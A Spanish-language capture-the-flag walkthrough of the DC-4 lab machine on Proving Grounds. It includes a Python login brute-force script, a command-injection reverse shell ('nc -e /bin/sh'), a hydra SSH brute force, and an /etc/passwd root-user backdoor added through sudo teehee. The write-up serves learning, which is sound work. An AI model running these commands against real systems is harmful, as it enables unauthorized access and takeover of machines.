> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/dc-4.md).

# DC-4

Write-up de la máquina DC:4 de Proving Grounds #writeup #walkthrough

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiRnBTjsB8hEkYP53Ea2x%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(22).png?alt=media&amp;token=a942c187-b994-4eb7-b079-3b7c05207faa" alt=""><figcaption></figcaption></figure>

## Enumeración

### Servicios abiertos

Como siempre, comenzamos enumerando los servicios abiertos que tiene la máquina objetivo.

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.98.195
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyVVdCRiP3NIQ4bIDQFFK%2Fimage.png?alt=media&amp;token=9818c2fa-1fe6-4a5d-9cac-a386ca4a4bf4" alt=""><figcaption></figcaption></figure>

Tres servicios abiertos, puertos 22,80. El siguiente paso será el escaneo profundo de estos servicios.

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.98.195
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FqRLfGmGoWSPR4vOdKSmO%2Fimage.png?alt=media&amp;token=7795bd5f-a405-4a15-a1ef-4e9e5ff25ba7" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.4
* Puerto 80 -> HTTP -> nginx 1.15.10

### Enumeración Web

La máquina DC:4 está ejecutando un servicio Web en el puerto 80. Vamos a enumerar su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJUHdS6EkRpLiq7RLa1p7%2Fimage.png?alt=media&amp;token=7a9112bf-f8c8-4128-b4e7-27e3d5c91569" alt=""><figcaption></figcaption></figure>

Vemos un login de inicio de sesión. Podemos probar inyecciones y fuerza bruta para intentar acceder al sitio autenticado. Antes vamos a enumerar directorios y archivos de sistema.

```
feroxbuster -u http://192.168.98.195 -s200,301,302 -x html,txt,php -n
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FddcrS2wgPkZScadYqvEU%2Fimage.png?alt=media&amp;token=a733034b-2776-412f-9e0c-fd87dd67feed" alt=""><figcaption></figcaption></figure>

Nada interesante, solo algunas redirecciones que tendremos en cuenta más adelante.

&#x20;Podemos echar un vistazo al código fuente del sitio Web en busca de evidencias.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2IfgGQGb7dL2XkyYu1CL%2Fimage.png?alt=media&amp;token=01c5f8a9-924a-4b7a-aaed-63cb6e28d95f" alt=""><figcaption></figcaption></figure>

Nada destacable. Volvamos al formulario de inicio de sesión.

## Explotación

### Acceso a Panel de Administrador

Dado que tenemos un formulario de inicio de sesión, vamos a tratar de encontrar las credenciales para conectarnos a la zona autenticada del sitio Web. Vamos a utilizar como nombre de usuario "admin" y el diccionario "rockyou.txt". El método normal sería utilizar el nombre de usuario y el diccionario en la herramienta Intruder de Burp, pero en la versión Community es muy lenta. Así que vamos a crear nuestro propio script para hacer fuerza bruta sobre el formulario.

```
#!/usr/bin/python3
import requests
import argparse
from itertools import product

def main(url, users_file, passwords_file):
    with open(users_file, 'r') as uf:
        users = [user.strip() for user in uf.readlines()]

    with open(passwords_file, 'r', encoding='iso-8859-1') as pf:
        passwords = [password.strip() for password in pf.readlines()]

    for user, password in product(users, passwords):
        payload = {'username': user, 'password': password}
        response = requests.post(url, data=payload)

        if 'Login failed' not in response.text:
            print(f'Successful login! Username: {user}, Password: {password}')
            break

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Brute-force credentials on a web form')
    parser.add_argument('url', help='URL of the login form')
    parser.add_argument('users_file', help='File containing a list of usernames')
    parser.add_argument('passwords_file', help='File containing a list of passwords')
    args = parser.parse_args()

    main(args.url, args.users_file, args.passwords_file)
```

Ahora solo necesitamos la URL, un diccionario de nombres de usuarios y otro de contraseñas para poder ejecutar.

```
python3 brutelogin.py http://192.168.98.195 users "rockyou.txt"
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FY5njUd24lHjGLw5lX5rb%2Fimage.png?alt=media&amp;token=60052218-252c-4710-988f-393d38456ec4" alt=""><figcaption></figcaption></figure>

Obtenemos las credenciales admin:123456. Vamos a probarlas en el formulario de login.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FAE98QTEAs9syndizdQY0%2Fimage.png?alt=media&amp;token=3820f779-ef90-4585-aed1-3ac032c8ebed" alt=""><figcaption></figcaption></figure>

Esto parece interesante.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FjBKlFQuAgUFsiCcHs1V2%2Fimage.png?alt=media&amp;token=50abd384-e776-4445-b4b9-0dffbfba61ff" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQXEv1p8LcbCKqo5aTvnS%2Fimage.png?alt=media&amp;token=788565e1-ced0-4072-a655-c08d3c82f87f" alt=""><figcaption></figcaption></figure>

Se pueden ejecutar comandos en el sistema. Vamos a tratar de interceptar la petición con Burp para intentar ejecutar una shell reversa con "nc".&#x20;

### Acceso al sistema

Interceptamos la petición con Burp.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkGNSWIWj0R6FCtRpNUHl%2Fimage.png?alt=media&amp;token=926fc482-679b-470a-bad6-3336c00125af" alt=""><figcaption></figcaption></figure>

El siguiente paso será cambiar el comando para enumerar con una shell con "nc".

```
nc -e /bin/sh IP PORT
```

Generamos la petición. Al mismo tiempo debemos poner a la escucha un oyente "nc" en le puerto 1234.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQAnIEaCR4o0rQYhm2Y6t%2Fimage.png?alt=media&amp;token=4d3622ce-0b2b-44a1-b405-663f8bc77b04" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgjOzufJWnOO4q3HaI7pO%2Fimage.png?alt=media&amp;token=3097a30d-8da5-4a98-ac88-0020bc8824d3" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al sistema como "www-data".

## Elevación de privilegios

### Pivotando a usuario "jim"

Vamos a enumerar. En el directorio donde se aloja el sitio Web no encontramos ningún archivo interesante. Nos desplazamos al directorio /home, donde encontramos tres directorios con los nombres de tres posibles usuarios de sistema: /charles, /jim y /sam. Primero comprobamos si son usuarios de sistema, consultando el archivo /etc/passwd.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQZfpQlKoF3RmthMdLNEa%2Fimage.png?alt=media&amp;token=90a59ba5-69d6-49d5-9782-604ab3f75ead" alt=""><figcaption></figcaption></figure>

Son los tres usuarios del sistema. Vamos a enumerar el contenido de cada uno de los directorios existentes.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FElGmacfbzbe4Wy9TzMPE%2Fimage.png?alt=media&amp;token=da2e6ca8-2505-442e-9f20-346760e5f2c5" alt=""><figcaption></figcaption></figure>

En el directorio de "charles" no hay archivos que nos aporten vectores para continuar con la elevación.

Continuamos con el directorio del usuario "jim".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiRtlOyt318TMz3jf3brI%2Fimage.png?alt=media&amp;token=66208fa8-1243-45b9-aabf-653079b2a5fc" alt=""><figcaption></figcaption></figure>

En este directorio encontramos varias cosas interesantes. Un directorio /backups, la flag local.txt y un ejecutable test.sh. Comenzamos por la flag local.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrH6OGgRXmVkG9GzmUYqY%2Fimage.png?alt=media&amp;token=9d8ed33f-0ccf-4ac9-9172-bcc02f81dcc8" alt=""><figcaption></figcaption></figure>

Seguimos por el archivo test.sh

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2ForCzFzJfkRyr9Uvxeprt%2Fimage.png?alt=media&amp;token=fa913eed-49f9-4795-8799-c8e4e1c4a924" alt=""><figcaption></figcaption></figure>

Parece que nada interesante. Pero lo guardamos, puede ser interesante.

Vamos con el directorio /backups

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fi3lItBLNoJRnZRB8RCfp%2Fimage.png?alt=media&amp;token=20c956ad-5c09-4024-ac36-012eed4acf10" alt=""><figcaption></figcaption></figure>

Encontramos un archivo de respaldo con contraseñas. Vamos a copiarlas en un archivo de nuestra máquina de ataque.&#x20;

Finalizamos la enumeración con el usuario "sam".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlKXOBaMXhk7yaeXSgFJA%2Fimage.png?alt=media&amp;token=407cbe79-7f07-414d-ae34-0e0eaf6d4917" alt=""><figcaption></figcaption></figure>

Tampoco vemos nada interesante.&#x20;

Teniendo en cuenta que la información interesante la hemos encontrado en el directorio del usuario "jim" y que en la máquina se está ejecutando un servicio SSH, vamos a realizar otro ataque de fuerza bruta para tratar de encontrar la contrasela del usuario "jim" dentro del diccionario de passwords que hemos encontrado.

```
hydra -l jim -P old-passwords.bak 192.168.98.195 ssh
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FeupLJngOWzWv8qScjVtN%2Fimage.png?alt=media&amp;token=62289ec1-06ae-45e4-b4b7-b8f03a5b4c90" alt=""><figcaption></figcaption></figure>

La contraseña para el usuario "jim" es "jibril04".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FECMveQu3UTI4iQ9k4UE1%2Fimage.png?alt=media&amp;token=82cf1af9-b697-4e10-994b-515983065cea" alt=""><figcaption></figcaption></figure>

### Pivotando a usuario "charles"

Dentro del directorio del usuario "jim", encontramos un email.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8KvicnY9FPbtRdfF7Kf9%2Fimage.png?alt=media&amp;token=4ed19c85-bfe7-450f-91d6-3a9edd9f6ad7" alt=""><figcaption></figcaption></figure>

Esto nos puede hacer pensar que existe una carpeta /var/mail. Vamos a tratar de enumerarla.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fc3Vpz2SJi49Ms7XCk7xy%2Fimage.png?alt=media&amp;token=d04e257a-c853-41c4-bd8b-16afb3e85d5b" alt=""><figcaption></figcaption></figure>

El directorio existe y contiene un archivo llamado "jim". ¿Sospechoso? Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FidaCaZ5yEzGaoOXxOScG%2Fimage.png?alt=media&amp;token=87251345-c419-4bdb-9ac9-2e95839dfed8" alt=""><figcaption></figcaption></figure>

Es otro email. Contiene una password (^xHhA\&hvim0y) que puede estar relacionada con el usuario "charles".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyGzzHw5DzuS6KPArADD5%2Fimage.png?alt=media&amp;token=4926e32e-2317-4658-8ccd-be8b710776fd" alt=""><figcaption></figcaption></figure>

Pivotamos de "jim" a "charles".

### Pivotando a usuario "root"

Vamos a consultar si el usuario "charles" puede ejecutar algún archivo como "root" sin contraseña.&#x20;

```
sudo -l
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FKZ9S2EELcAvfRCXxQpjK%2Fimage.png?alt=media&amp;token=eaf80cc1-e60b-4bbb-af77-19fd651d3e0e" alt=""><figcaption></figcaption></figure>

Después de la enumeración, verificamos los permisos de sudo para "charles2 y descubrimos que puede ejecutar el editor teehee como root sin contraseña. Vamos a añadir a "securiters" en el archivo etc/passwd utilizando echo y teehee de la siguiente manera:

```
echo "securiters::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FbzMiPGUAaUWEZTrnOcLd%2Fimage.png?alt=media&amp;token=9cc1a59e-0a31-4689-b04c-27398892c00c" alt=""><figcaption></figcaption></figure>

Solo queda buscar la flag proof.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8fdSEauNTFfifbgulnr1%2Fimage.png?alt=media&amp;token=14bb24fb-9748-43a4-83ac-b09e23fe1cee" alt=""><figcaption></figcaption></figure>

Y ya estaría acabada la máquina DC-4 de la plataforma Proving Grounds.
